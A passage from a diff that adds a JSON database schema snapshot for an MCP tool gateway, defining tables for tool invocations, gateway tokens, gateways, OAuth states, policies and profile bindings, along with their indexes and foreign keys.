"run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_id": { + "name": "gateway_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_token_id": { + "name": "gateway_token_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "gateway_public_id": { + "name": "gateway_public_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_type": { + "name": "client_subject_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_subject_id": { + "name": "client_subject_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_name": { + "name": "client_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "mcp_session_id": { + "name": "mcp_session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "correlation_id": { + "name": "correlation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "catalog_entry_id": { + "name": "catalog_entry_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "catalog_version_hash": { + "name": "catalog_version_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "catalog_schema_hash": { + "name": "catalog_schema_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_type": { + "name": "provider_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "application_key": { + "name": "application_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "upstream_tool_name": { + "name": "upstream_tool_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "risk_level": { + "name": "risk_level", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "arguments_hash": { + "name": "arguments_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "arguments_summary": { + "name": "arguments_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "policy_decision": { + "name": "policy_decision", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "matched_policy_ids": { + "name": "matched_policy_ids", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "policy_explanation": { + "name": "policy_explanation", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "credential_scope_summary": { + "name": "credential_scope_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "header_policy_summary": { + "name": "header_policy_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "approval_state": { + "name": "approval_state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'not_required'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "upstream_request_id": { + "name": "upstream_request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "result_hash": { + "name": "result_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "result_summary": { + "name": "result_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "result_size_bytes": { + "name": "result_size_bytes", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "result_artifact_id": { + "name": "result_artifact_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "error_code": { + "name": "error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_invocations_company_created_idx": { + "name": "tool_invocations_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_invocations_run_idx": { + "name": "tool_invocations_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_invocations_issue_idx": { + "name": "tool_invocations_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_invocations_gateway_idx": { + "name": "tool_invocations_gateway_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "gateway_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_invocations_company_idempotency_uq": { + "name": "tool_invocations_company_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_invocations_company_id_companies_id_fk": { + "name": "tool_invocations_company_id_companies_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_invocations_agent_id_agents_id_fk": { + "name": "tool_invocations_agent_id_agents_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_issue_id_issues_id_fk": { + "name": "tool_invocations_issue_id_issues_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_run_id_heartbeat_runs_id_fk": { + "name": "tool_invocations_run_id_heartbeat_runs_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": { + "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "gateway_id" + ], + "tableTo": "tool_mcp_gateways", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": { + "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "gateway_token_id" + ], + "tableTo": "tool_mcp_gateway_tokens", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_application_id_tool_applications_id_fk": { + "name": "tool_invocations_application_id_tool_applications_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_connection_id_tool_connections_id_fk": { + "name": "tool_invocations_connection_id_tool_connections_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": { + "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk", + "tableFrom": "tool_invocations", + "columnsFrom": [ + "catalog_entry_id" + ], + "tableTo": "tool_catalog_entries", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_mcp_gateway_tokens": { + "name": "tool_mcp_gateway_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "gateway_id": { + "name": "gateway_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "subject_type": { + "name": "subject_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'gateway_client'" + }, + "subject_id": { + "name": "subject_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "client_label": { + "name": "client_label", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "owner_note": { + "name": "owner_note", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "allowed_actions": { + "name": "allowed_actions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[\"tools/list\",\"tools/call\"]'::jsonb" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expiry_override_reason": { + "name": "expiry_override_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiry_override_by_user_id": { + "name": "expiry_override_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiry_override_by_agent_id": { + "name": "expiry_override_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "expiry_override_at": { + "name": "expiry_override_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_mcp_gateway_tokens_token_hash_uq": { + "name": "tool_mcp_gateway_tokens_token_hash_uq", + "columns": [ + { + "expression": "token_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateway_tokens_gateway_idx": { + "name": "tool_mcp_gateway_tokens_gateway_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "gateway_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateway_tokens_subject_idx": { + "name": "tool_mcp_gateway_tokens_subject_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subject_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subject_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateway_tokens_company_expires_idx": { + "name": "tool_mcp_gateway_tokens_company_expires_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_mcp_gateway_tokens_company_id_companies_id_fk": { + "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk", + "tableFrom": "tool_mcp_gateway_tokens", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": { + "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk", + "tableFrom": "tool_mcp_gateway_tokens", + "columnsFrom": [ + "gateway_id" + ], + "tableTo": "tool_mcp_gateways", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": { + "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk", + "tableFrom": "tool_mcp_gateway_tokens", + "columnsFrom": [ + "expiry_override_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": { + "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_mcp_gateway_tokens", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_mcp_gateways": { + "name": "tool_mcp_gateways", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "gateway_public_id": { + "name": "gateway_public_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_slug": { + "name": "display_slug", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "profile_id": { + "name": "profile_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "default_profile_mode": { + "name": "default_profile_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'gateway_only'" + }, + "context_scope_type": { + "name": "context_scope_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'none'" + }, + "context_scope_id": { + "name": "context_scope_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "approval_issue_id": { + "name": "approval_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "auth_config": { + "name": "auth_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb" + }, + "header_policy": { + "name": "header_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb" + }, + "metadata_policy": { + "name": "metadata_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb" + }, + "on_demand_tools_config": { + "name": "on_demand_tools_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_mcp_gateways_company_idx": { + "name": "tool_mcp_gateways_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateways_company_status_idx": { + "name": "tool_mcp_gateways_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateways_profile_idx": { + "name": "tool_mcp_gateways_profile_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "profile_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateways_public_id_uq": { + "name": "tool_mcp_gateways_public_id_uq", + "columns": [ + { + "expression": "gateway_public_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateways_company_slug_uq": { + "name": "tool_mcp_gateways_company_slug_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_mcp_gateways_company_name_uq": { + "name": "tool_mcp_gateways_company_name_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_mcp_gateways_company_id_companies_id_fk": { + "name": "tool_mcp_gateways_company_id_companies_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_mcp_gateways_profile_id_tool_profiles_id_fk": { + "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "profile_id" + ], + "tableTo": "tool_profiles", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "restrict" + }, + "tool_mcp_gateways_agent_id_agents_id_fk": { + "name": "tool_mcp_gateways_agent_id_agents_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_mcp_gateways_project_id_projects_id_fk": { + "name": "tool_mcp_gateways_project_id_projects_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_mcp_gateways_issue_id_issues_id_fk": { + "name": "tool_mcp_gateways_issue_id_issues_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_mcp_gateways_approval_issue_id_issues_id_fk": { + "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "approval_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_mcp_gateways_created_by_agent_id_agents_id_fk": { + "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_mcp_gateways", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_oauth_states": { + "name": "tool_oauth_states", + "schema": "", + "columns": { + "state": { + "name": "state", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "code_verifier": { + "name": "code_verifier", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_actor_type": { + "name": "created_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_actor_id": { + "name": "created_by_actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_session_id": { + "name": "created_by_session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subject_user_id": { + "name": "subject_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_scopes": { + "name": "requested_scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "return_to": { + "name": "return_to", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "interaction_id": { + "name": "interaction_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_oauth_states_company_idx": { + "name": "tool_oauth_states_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_oauth_states_connection_idx": { + "name": "tool_oauth_states_connection_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_oauth_states_actor_idx": { + "name": "tool_oauth_states_actor_idx", + "columns": [ + { + "expression": "created_by_actor_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_by_actor_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_oauth_states_expires_at_idx": { + "name": "tool_oauth_states_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_oauth_states_company_id_companies_id_fk": { + "name": "tool_oauth_states_company_id_companies_id_fk", + "tableFrom": "tool_oauth_states", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_oauth_states_connection_id_tool_connections_id_fk": { + "name": "tool_oauth_states_connection_id_tool_connections_id_fk", + "tableFrom": "tool_oauth_states", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_policies": { + "name": "tool_policies", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "policy_type": { + "name": "policy_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "priority": { + "name": "priority", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 100 + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "selectors": { + "name": "selectors", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "conditions": { + "name": "conditions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_policies_company_enabled_idx": { + "name": "tool_policies_company_enabled_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_policies_company_type_idx": { + "name": "tool_policies_company_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "policy_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_policies_company_name_uq": { + "name": "tool_policies_company_name_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_policies_company_id_companies_id_fk": { + "name": "tool_policies_company_id_companies_id_fk", + "tableFrom": "tool_policies", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_policies_created_by_agent_id_agents_id_fk": { + "name": "tool_policies_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_policies", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_profile_bindings": { + "name": "tool_profile_bindings", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "profile_id": { + "name": "profile_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "priority": { + "name": "priority", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 100 + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_profile_bindings_company_target_idx": { + "name": "tool_profile_bindings_company_target_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + 